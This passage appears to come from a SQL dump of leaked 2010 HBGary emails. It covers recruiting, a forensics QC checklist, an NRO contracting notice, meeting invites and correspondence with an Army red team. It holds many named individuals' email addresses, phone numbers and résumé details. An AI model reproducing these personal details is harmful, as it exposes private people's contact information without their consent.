force.&nbsp;EDUCATION AND TRAINING&nbsp;Master of Science degree in Forensic Studies, Investigations Track, 12/2008 (3.85 GPA)Stevenson University (formerly Villa Julie College).&nbsp; Computer Forensics and Security classes: Forensic Information Technology, Windows Forensic Examinations (Introduction to Encase), Information Systems Security Management, IT Operational Environment, Architecture and Infrastructure and Information Technology Law and Enforcement.Master of Science degree in Criminal Justice, 6/2006, Troy University.&nbsp;Bachelor of Science degree (concentrations in Psychology and Administrative/Management Studies) 7/2003. Excelsior College.Basic Police Officer Training Program, Federal Law Enforcement Training Center, 10 weeks.&nbsp; Glynco, Georgia, 2005.Law Enforcement and Physical Security Training, Department of Defense.&nbsp; 6 weeks of follow on training after graduation from the Federal Law Enforcement Training Center.IS Security Classes: Operational Security Fundamentals, Introduction to Operational Information Assurance, Malicious Code Threat, Operational Information Assurance, A Systems Approach to Threat and Vulnerabilities, Introduction to Information Security, Operational Information Assurance for Managers, Introduction to Key Management, Security and Intrusion Detection Fundamentals, Introduction to System and Network Security, Ethical Hacking and Countermeasures.&nbsp;&nbsp;AWARDS AND PROFESSIONAL EVALUATIONS&nbsp;Received an Award of Excellence for performance of duties during a special project dealing with Information Security and Assurance.&nbsp; Awarded August 2007.&nbsp; (Eagle Alliance)Performance Award for making outstanding contributions to the client’s Information Assurance and Security Program.&nbsp; Awarded July 2007.&nbsp; (Eagle Alliance)Sailor of the year, for the calendar year of 2003.&nbsp;Sailor of the Quarter, for the fourth quarter of Fiscal year 2003.2 Good Conduct medals while serving on Active Duty.&nbsp; First medal awarded on 12/19/1999, and second medal awarded 12/19/2003.3 letters of Commendation, while onboard the USS G. Washington, for superior performance.1 letter of appreciation, for volunteer service in Haifa, Israel.1 Navy and Marine Corps achievement medal, for exceptional performance of duties as watch supervisor and acoustic analyst, from 2001-2004. Awarded on 3/4/2004.Ranked the number one E-5 in the command, during the last evaluation period of active duty service.&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;PROFESSIONAL MEMBERSHIPS&nbsp;Information Systems Security AssociationAssociation of Certified Fraud Examiners.Fraternal Order of Police, Baltimore County, Maryland.American Legion, Military Veterans.\r\n~~~~~~~~~~~~~~~~~~~~~~Ed Wallach&nbsp;President &amp; CEOEd Wallach Search Group 301-365-3291 office&nbsp;&nbsp;301-613-0629 mobile301-365-3292 fax&nbsp;ed@wallachsearch.comwww.wallachsearch.comRecruiting Intelligence &lt;app_full_proxy.php.gif&gt;&lt;NPA_color.jpg&gt;We can help with your national or global staffing needs through our affiliation with NPA.\r\n\r\n',15162,'aaron_hbgary_com/15162.html'),(10552,'2010-08-18','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008186.M317331P14101Q5407.eml','\"Kirby Kintner\" <kkintner@digitalmanagement.com>','Re: QC Check points for Sections 1.3.1, 1.3.2, & 1.3.3','Kriby,Your talking about for these.\r\n\r\n\r\n \r\n  \r\n   Step No.\r\n   \r\n   Step Name\r\n   \r\n   Description\r\n   \r\n   Metrics and Quality Control Approach\r\n   \r\n  \r\n \r\n \r\n  1\r\n  \r\n  Accept &amp; Log \r\n  \r\n  Review requests for accuracy and completeness.&nbsp; Log all incoming request; ensure\r\n  chain of custody procedures for all evidence are followed.\r\n  \r\n  All digital forensics\r\n  requests accepted, logged within X hours of receipt\r\n  \r\n \r\n \r\n  2\r\n  \r\n  Triage &amp; Prioritize\r\n  \r\n  Examine case externals and case request information to assist in\r\n  prioritization of analysis.&nbsp;\r\n  Cases categorized by data recovery, e-discovery, legal investigation,\r\n  malware investigation\r\n  \r\n  All cases are categorized and\r\n  prioritized within X hours of acceptance\r\n  \r\n \r\n \r\n  3\r\n  \r\n  Process &amp; Analyze\r\n  \r\n  Analyze physical memory, reverse engineer static binaries, perform runtime\r\n  traces of binaries in malware sandbox, perform packet traces, session\r\n  analysis, and raw log dumps.&nbsp; \r\n  \r\n  All cases are processed\r\n  within approximately 2 weeks of acceptance.\r\n  \r\n \r\n \r\n  4\r\n  \r\n  Report &amp; track\r\n  \r\n  Create digital\r\n  forensics reports containing the details of the forensic analysis.&nbsp; Continue to track cases to closure to\r\n  ensure completeness and proper chain of custody for evidence is followed.\r\n  \r\n  &nbsp;\r\n  \r\n \r\n \r\n  5\r\n  \r\n  Monitor &amp; Report\r\n  \r\n  Plan implementation is\r\n  monitored which then feeds the beginning of the cycle.&nbsp; Reports, briefing, white papers, etc.\r\n  are produced for use internally as well as for external stakeholders\r\n  \r\n  &nbsp;\r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n3-4 bullets per section. &nbsp;you mean as process steps?AaronOn Aug 18, 2010, at 9:23 AM, Kirby Kintner wrote:QC Checkpoints - If performing the work, what checks would you use to verify the work was done correctly.&nbsp;3-4 bullets per section&nbsp;Thanx&nbsp;KJK',145,'aaron_hbgary_com/145.html'),(10553,'2010-08-18','\"Richardson, Toby\" <toby.richardson@fidelissecurity.com>','/aaron@hbgary.com/new/1297008186.M643898P14101Q5408.eml','\"Irace, Will\" <will.irace@fidelissecurity.com>,\"Aaron Barr\" <aaron@hbgary.com>','Fidelis - HBGary','\r\n\r\n\r\n\r\n\r\nFidelis - HBGary\r\n\r\n\r\n\r\n\r\nWhen: Thursday, August 19, 2010 10:00 AM-10:30 AM (GMT-06:00) Central Time (US &amp; Canada).\r\n\r\nWhere: 301-841-6585 X0109633\r\n\r\nNote: The GMT offset above does not reflect daylight saving time adjustments.\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\nBrief introduction for Will and discussion around positioning partnership.\r\n\r\n-tr\r\n\r\n\r\n',11568,'aaron_hbgary_com/11568.html'),(10554,'2010-08-18','\"Lixin Li via LinkedIn\" <member@linkedin.com>','/aaron@hbgary.com/new/1297008186.M935805P14101Q5409.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','RE: Introduction','\r\n\r\n  \r\n\r\n  \r\n\r\n\r\n  \r\n  LinkedIn\r\n\r\nLixin Li has sent you a message.\r\n\r\n\r\n  Date:\r\n  8/18/2010\r\n\r\n\r\n  Subject:\r\n  RE: Introduction\r\n\r\n\r\n\r\n  Hi, Aaron\r\n\r\n\r\n\r\nIt is my pleasure to connect with you, thanks for your time and introduction. I know HBGary has a great, talented team and is a wonderful place to work, so thanks for the opportunity. At this time, I have just had a career change a few months ago, I am still quite excited about the current projects I am working on. But like you said, it is a small community, I will enjoy your connection.\r\n\r\n\r\n\r\nThanks again!\r\n\r\nLixin(Nathan) Li\r\n\r\n\r\n\r\nOn 08/17/10 5:09 PM, Aaron Barr wrote:\r\n\r\n--------------------\r\n\r\nHi Lixin,\r\n\r\n\r\n\r\nThanks for accepting.  I am not sure if you know much about HBGary or HBGary Federal.  Leading HBGary Federal I am focused on delivering talented individuals on government contracts to improve cybersecurity.  I am looking to fill some key positions and would like to discuss them with you if your interested, if not at this time, no problem, its a small community and connections are a good thing.\r\n\r\n\r\n\r\nI have IC contracts in VA/MD for REs and Cyber/Threat Analysts (require full poly).\r\n\r\n\r\n\r\nAlso looking for: (require TS Collateral)\r\n\r\nLead SOC mgr\r\n\r\nLead IR mgr\r\n\r\nLead Forensic Analyst\r\n\r\nLead Cyber Intel Analyst\r\n\r\nLead Threat Mgr\r\n\r\n\r\n\r\nThank You,\r\n\r\nAaron Barr\r\n\r\nCEO HBGary Federal\r\n\r\n\r\nView/reply to this message\r\n\r\nDon\'t want to receive e-mail notifications? Adjust your message settings.\r\n\r\n\r\n\r\n\r\n\r\n  &#169; 2010, LinkedIn Corporation\r\n\r\n',3634,'aaron_hbgary_com/3634.html'),(10555,'2010-08-18','\"Scott Sheldon\" <scott.w.sheldon@saic.com>','/aaron@hbgary.com/new/1297008187.M372042P14101Q5410.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Social Media Presentation','\r\n\r\n  \r\n\r\n  \r\n\r\n\r\n  \r\n  LinkedIn\r\n\r\nScott Sheldon has sent you a message.\r\n\r\n\r\n  Date:\r\n  8/18/2010\r\n\r\n\r\n  Subject:\r\n  RE: Social Media Presentation\r\n\r\n\r\n\r\n  Aaron,\r\n\r\n\r\n\r\nI\'ll likely post it today.\r\n\r\n\r\n\r\nScott\r\n\r\n\r\n\r\nOn 08/17/10 11:31 AM, Aaron Barr wrote:\r\n\r\n--------------------\r\n\r\nHey Scott,\r\n\r\n\r\n\r\nJust checking in on status of potential presentation of social media on Oct. 5?\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\nView/reply to this message\r\n\r\nDon\'t want to receive e-mail notifications? Adjust your message settings.\r\n\r\n\r\n\r\n\r\n\r\n  &#169; 2010, LinkedIn Corporation\r\n\r\n',4161,'aaron_hbgary_com/4161.html'),(10556,'2010-08-18','arc@westfields.net','/aaron@hbgary.com/new/1297008187.M726316P14101Q5411.eml','federal@hbgary.com','CC Sole Source Business Opportunity Posting','\r\nThe NRO/CC Directorate is pleased to announce the release of a Sole Source Business Opportunity on the classified ARC.  It will remain visible for five calendar days. The Contract Type is expected to be: FFP. The Effort Type is Support Services (O&M).\r\n\r\n\r\nSITE VIEWING INFORMATION\r\n\r\nThe site is on the Classified ARC accessible  on CWAN/GWAN networks using http://arc.npa.gov/ and on Intelink using http://arc.nro.ic.gov/.  Please find the situation below that fits you and see the associated information.\r\n\r\nI Have Access to the Classified network, and I Have an Account on that system\'s ARC website.\r\nOn CWAN/GWAN go to http://arc.npa.gov/ or on Intelink go to http://arc.nro.ic.gov/, log in using your Classified ARC username and password, click on Business Opportunities to view the latest Sole Source Opportunites\r\n\r\nI Have Access to the Classified network (CWAN/GWAN or Intelink), But I Do NOT Have and Have Never Had an INDIVIDUAL Account on that system\'s ARC website.\r\nIf you have never had an individual account on the Classified ARC, go to http://arc.npa.gov/ (on CWAN/GWAN) or http://arc.nro.ic.gov/ (Intelink), click on \"Create New Account\" to make an account for yourself, and then follow the site access directions given in number one above.  You should use this new account that you create from this point onward whenever accessing the Classified ARC for any purpose.\r\n\r\nI Have Access to the Classified ARC and At One Time, I Had an INDIVIDUAL Account on that system\'s ARC Website, But I No Longer Have That Account Information.				\r\nIf you once had an account on the Classified ARC, please try using the \"Forgot Your Password\" link on the ARC homepage to reset your password. If your Classified email address has changed since your last login, please email (preferred) the web development team at dev@ticom.npa.gov or call secure 853-4620 for help in resetting your password.\r\n\r\nI Have the Appropriate Clearances, But I Do NOT Have Access to CWAN.\r\nFor TS//SI/TK cleared contractors without access to CWAN, the Acquisition web page information can be viewed by scheduling an appointment at any of the three ACE Regional Centers.  Contact information for scheduling an appointment and passing clearances can be found on the Internet (World Wide Web) at https://arc.westfields.net/ by clicking on CONTACTS -> FACILITY CONTACTS, then open the \"ARC Reading Room Access Process\" document for detailed instructions.Prior to scheduling an appointment, you\'re clearance information must be on file at the facility you plan to visit. Please have your cognizant security office pass your TS clearance with required SI/TK accesses, via a standard visit certification message to the Facility Security Officer of the facility you plan to visit.\r\n\r\nI DO NOT Have the Appropriate Clearances to Access CWAN.\r\nObtaining the correct clearances is a difficult task.  You either need to have a unique skill that our organization needs and it cannot find elsewhere, or you need to team with a company that has the correct clearances. Unfortunately, there is no easy answer.  Make sure that your company is entered in our Contractor Registry.  This is made visible on the Internet, but also on our classified network for cleared contractors to see.  It allows contractors with clearances to view your company\'s information, and it might be that a cleared company would then contact you for teaming purposes.\r\n\r\nTo register your company with the Contractor Registry, go to https://arc.westfields.net/, and click on the  \"Register Company\" link.\r\n\r\nTechnical Questions?\r\ndev@ticom.com\r\n\r\nRegards,\r\n\r\nARC Webmaster\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',1287,'aaron_hbgary_com/1287.html'),(10557,'2010-08-18','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008188.M257339P14101Q5413.eml','\"Kirby Kintner\" <kkintner@digitalmanagement.com>','Re: TSA ITSSS Red Team','FAXKirby,not sure what happened but it was not received.Could you try:&nbsp;703-991-3225Thank you,AaronOn Aug 18, 2010, at 12:40 PM, Kirby Kintner wrote:It was sent&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Wednesday, August 18, 2010 12:25 PMTo:&nbsp;Kirby KintnerSubject:&nbsp;Re: TSA ITSSS Red Team&nbsp;Kirby,&nbsp;Did u send the fax?&nbsp;Aaron&nbsp;On Aug 18, 2010, at 9:39 AM, Kirby Kintner wrote:When: Saturday, August 21, 2010 1:00 PM-4:00 PM (UTC-05:00) Eastern Time (US &amp; Canada).Where: DMI Facility, Bethesda&nbsp;Note: The GMT offset above does not reflect daylight saving time adjustments.&nbsp;*~*~*~*~*~*~*~*~*~*&nbsp;Agenda:&nbsp;1PM – 1:15 Kick-off1:15 - 3:30 Review3:30 – 4&nbsp; Develop Top Ten list4PM - Dismiss&nbsp;&nbsp;&nbsp;&lt;Mail Attachment.ics&gt;&nbsp;',9747,'aaron_hbgary_com/9747.html'),(10558,'2010-08-18','\"Mentzer, Justin C\" <Justin.Mentzer@ManTech.com>','/aaron@hbgary.com/new/1297008188.M43373P14101Q5412.eml','\"Frisbie, Robert P\" <Robert.Frisbie@ManTech.com>,\"Burnette, Donna M\" <Donna.Burnette@ManTech.com>,\"Simpson, Patrick B\" <Patrick.Simpson@ManTech.com>,\"Thompson, Linda L\" <Linda.Thompson@ManTech.com>,\"Seery, Carey A\" <Carey.Seery@ManTech.com>,\"Gage, Jeremy R\" <Jeremy.Gage@ManTech.com>,\"Garvie, David Ian\" <David.Garvie@ManTech.com>,\"Martin, Scott D\" <Scott.Martin@ManTech.com>,\"Zimmerman, Penny L\" <Penny.Zimmerman@ManTech.com>,\"Contee, Maxine E\" <Maxine.Contee@ManTech.com>,\"Stewart, Brad\" <Brad.Stewart@mantech.com>,samuel.corbitt@siegetechnologies.com,aaron@hbgary.com,cholmes@telemussolutions.com,james.berman@inceptre.com,jason.syversen@siegetechnologies.com,kathyrondon@aol.com,barlow.katrina@gmail.com,nuhad.karaki@inceptre.com,obrienp@thebuffalogroup.com,ted@hbgary.com,\"Frisbie, Robert P\" <Robert.Frisbie@ManTech.com>','Gatorbait Team Meeting','\r\n\r\n\r\n\r\n\r\nGatorbait Team Meeting \r\n\r\n\r\n\r\n\r\nWhen: Tuesday, August 24, 2010 1:00 PM-2:30 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: 7799 Leesburg Pike, Suite 700 (South Tower) Falls Church, Va\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\nGatorbait Team,\r\n\r\nGood morning.&nbsp; As many of you are aware, we are anticipating the Gatorbait RFP, as such we are hosting a Team meeting providing team introductions, general mission overview, proposal schedule and highlight areas we are looking for your support. The following is a consolidated outline of areas to be discussed.\r\n\r\n  \r\n\r\nWelcome &#8211; Bob Frisbie\r\n\r\nSecurity overview - Linda Thompson\r\n\r\nIntroductions &#8211; Patrick Simpson\r\n\r\nOpportunity Summary &#8211; Justin Mentzer\r\n\r\nManagement &#8211; Jeremy Gage\r\n\r\nTechnical &#8211; David Garvie\r\n\r\nPast Performance &#8211; Patrick Simpson\r\n\r\nResumes &#8211; Scott Martin\r\n\r\nContracts / Subcontracts &#8211; Penny Zimmerman\r\n\r\nProposal Manager with schedule &#8211; Maxine Contee\r\n\r\nQuestions \r\n\r\n\r\n\r\nPlease note, this summit will be held in a secure location- to ensure you have access to our facility please verify your visit request with Carey Seery (703) 610-9244.\r\n\r\nI thank you in advance for your support and look forward to working with each of you.\r\n\r\nJustin\r\n\r\n\r\n\r\nJustin C. Mentzer\r\n\r\nManTech International Corporation\r\n\r\nMission, Cyber and Technology Solutions Group\r\n\r\nOffice 703.388.2122\r\n\r\nCell 703.483.1715\r\n\r\nFax 703.388.2148\r\n\r\nJustin.Mentzer@ManTech.com \r\n\r\n\r\n\r\nMaking America Stronger by Supporting and Securing Critical Missions\r\n\r\n **PROPRIETARY &amp; COMPANY-CONFIDENTIAL**\r\n\r\nThis email and the contents of this email (including any attachments) are company-confidential and/or proprietary.  Unless you are the addressee (or authorized to receive for the addressee), you may not use, copy, disclose or distribute this email or any of the contents of this email.  If you received this email in error, please promptly notify the sender by reply email and delete this email from your records.  Thank you.\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10659,'aaron_hbgary_com/10659.html'),(10559,'2010-08-18','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008188.M557312P14101Q5414.eml','\"Turner, Stephen W CPT MIL USA USINSCOM\" <stephen.w.turner@us.army.mil>','Re: Meeting (UNCLASSIFIED)','Steve,\r\n\r\nJust checking on on the training you had discussed.  I wanted to make sure and put that on my calendar if its a go.\r\n\r\nThanks,\r\nAaron\r\n\r\nOn Jun 28, 2010, at 10:04 AM, Turner, Stephen W CPT MIL USA USINSCOM wrote:\r\n\r\n> Aaron,\r\n> I just wanted to say thanks again for visiting us on Friday. I typed up a summary of our meeting and sent it to Mrs. Brooks. Once she gets back to me, I\'ll let you know what she has to say. Hopefully she\'ll want to have another meeting. Thanks again.\r\n> \r\n> V/R\r\n> \r\n> -Steve\r\n> \r\n> DSN 703-428-4514\r\n> \r\n> ----- Original Message -----\r\n> From: Aaron Barr \r\n> Date: Thursday, June 24, 2010 9:50 am\r\n> Subject: Re: Meeting (UNCLASSIFIED)\r\n> To: \"Turner, Stephen W CPT MIL USA USINSCOM\" \r\n> \r\n> \r\n>> ok I will spam you with a few datasheets in case you haven\'t seen \r\n>> them (about 4). I will also bring my community badge with me. I \r\n>> am not in JPAS but can be found in the \"other\" database. Lastly I \r\n>> will come with an open mind to discuss a variety of aspects of \r\n>> cyber. I have spent a lot of time on both offense and defense, \r\n>> sitting at the national CERTs/SOCs, including 1st IO and believe I \r\n>> have a good understanding of what is broken, what are current and \r\n>> future challenges, and what we can do to tangibly help. I am a \r\n>> very small company at the moment so I am looking for opportunities \r\n>> where I can help and in turn help grow my business.\r\n>> \r\n>> Look forward to our conversation.\r\n>> \r\n>> Aaron\r\n>> \r\n>> On Jun 24, 2010, at 9:31 AM, Turner, Stephen W CPT MIL USA \r\n>> USINSCOM wrote:\r\n>> \r\n>>> Aaron, \r\n>>> If you have secret information you can send it to my SIPR at \r\n>> stephen.w.turner@us.army.smil.mil. I talked to my boss, MAJ \r\n>> Verell, this morning and she informed me that both her and Mrs \r\n>> Brooks won\'t be able to make it tomorrow. I was hoping Mrs. Brooks \r\n>> would have the chance to meet you. She is the decision maker when \r\n>> it comes to recommending new policy and introducing new products. \r\n>> I have the capability to input credited aspects of your social \r\n>> network training into Army training, and I can discuss issues and \r\n>> solutions with you, but that\'s it. I can also take your \r\n>> information and pass it to Mrs. Brooks and MAJ Verell. If that \r\n>> still works for you, I\'ll see you at 10:00. Thanks again\r\n>>> \r\n>>> Steve\r\n>>> \r\n>>> DSN 703-428-4514\r\n>>> \r\n>>> ----- Original Message -----\r\n>>> From: Aaron Barr >> Date: Tuesday, June 22, 2010 6:32 pm\r\n>>> Subject: Re: Meeting (UNCLASSIFIED)\r\n>>> To: \"Turner, Stephen W CPT MIL USA USINSCOM\" >> \r\n>>> \r\n>>>> Ok great. If it is possible to pass clearances I can provide some\r\n>>>> very interesting perspectives for you specifically. If not maybe\r\n>>>> another time.\r\n>>>> \r\n>>>> Aaron\r\n>>>> \r\n>>>> From my iPhone\r\n>>>> \r\n>>>> On Jun 22, 2010, at 5:54 PM, \"Turner, Stephen W CPT MIL USA USINSCOM\"\r\n>>>> >>> \r\n>>>>> Aaron,\r\n>>>>> I think all of these topics would be of interest for the red team in\r\n>>>>> one way or another. I\'ll need to get our computer guys to attend\r\n>>>>> because they know much more about the malware and computer lingo. My\r\n>>>>> section is specifically interested in creating awareness of new\r\n>>>>> media threats and how to protect against them.\r\n>>>>> \r\n>>>>> V/R\r\n>>>>> \r\n>>>>> CPT Stephen W. Turner\r\n>>>>> DSN 703-428-4514\r\n>>>>> \r\n>>>>> ----- Original Message -----\r\n>>>>> From: Aaron Barr >> Date: Monday, June 21, 2010 9:38 pm\r\n>>>>> Subject: Re: Meeting (UNCLASSIFIED)\r\n>>>>> To: \"Turner, Stephen W CPT MIL USA USINSCOM\" \r\n>>>>> \r\n>>>>> \r\n>>>>>> CPT Turner,\r\n>>>>>> \r\n>>>>>> Let me give you a quick list of things I can talk about and you\r\n>>>>>> tell me which ones are of the most interest. I can tailor any\r\n>>>>>> material, etc to your interest.\r\n>>>>>> \r\n>>>>>> HBGary Technology that enables enterprise advanced detection of\r\n>>>>>> advanced zero day malware.\r\n>>>>>> 1. DDNA - Behavior based malware detection.\r\n>>>>>> 2. Active Defense - Enterprise advanced malware detection and\r\n>>>>>> analysis\r\n>>>>>> 4. Threat Management - Volume malware processor. 20K malware a day.\r\n>>>>>> \r\n>>>>>> Services and Thought Leadership\r\n>>>>>> 1. CERT/SOC Operations - Technologies and Processes that enable\r\n>>>>>> transformation of CERT/SOC operations. Knowledge management.\r\n>>>>>> Information Sharing. New Media, Bringing Malware analysis into\r\n>>>>>> Net Defense.\r\n>>>>>> 2. Incident Response - New technologies and processes for more\r\n>>>>>> efficient IR engagements with leave behind capability for\r\n>>>>>> continuous monitoring.\r\n>>>>>> 3. Threat Intelligence - new threats require better threat\r\n>>>>>> intelligence to understand. Approach to threat intelligence.\r\n>>>>>> 4. IO - A list of things better discussed in person. Novell ways\r\n>>>>>> to implement persistent internet operations. New Media, CovCom, etc.\r\n>>>>>> \r\n>>>>>> I can pass my clearances if needed.\r\n>>>>>> \r\n>>>>>> Aaron\r\n>>>>>> \r\n>>>>>> \r\n>>>>>> On Jun 21, 2010, at 10:58 AM, Turner, Stephen W CPT MIL USA\r\n>>>>>> USINSCOM wrote:\r\n>>>>>> \r\n>>>>>>> How about 10:00 here at metro park. I figure the traffic should\r\n>>>>>> good by then and you can still get out of here before the Friday\r\n>>>>>> traffic starts again. If that time doesn\'t work let me know and\r\n>>>>>> we\'ll pick another one. The address is:\r\n>>>>>>> 6359 Walker Lane, Alexandria, VA 22310\r\n>>>>>>> Once you get here you can give me a call at 703-428-4514 and\r\n>>>>>> I\'ll meet up with you. We\'ll be meeting with the Army Red Team\r\n>>>>>> Chief, MAJ Verell, and the Vulnerability Assessment Detachment\r\n>>>>>> Chief, Mrs. Brooks. If you want, you can shoot me a list of topics\r\n>>>>>> that you would like to discuss. Again, thanks for taking the time\r\n>>>>>> to speak with us.\r\n>>>>>>> \r\n>>>>>>> Very Respectfully,\r\n>>>>>>> \r\n>>>>>>> CPT Stephen W. Turner\r\n>>>>>>> DSN 703-428-4514\r\n>>>>>>> \r\n>>>>>>> ----- Original Message 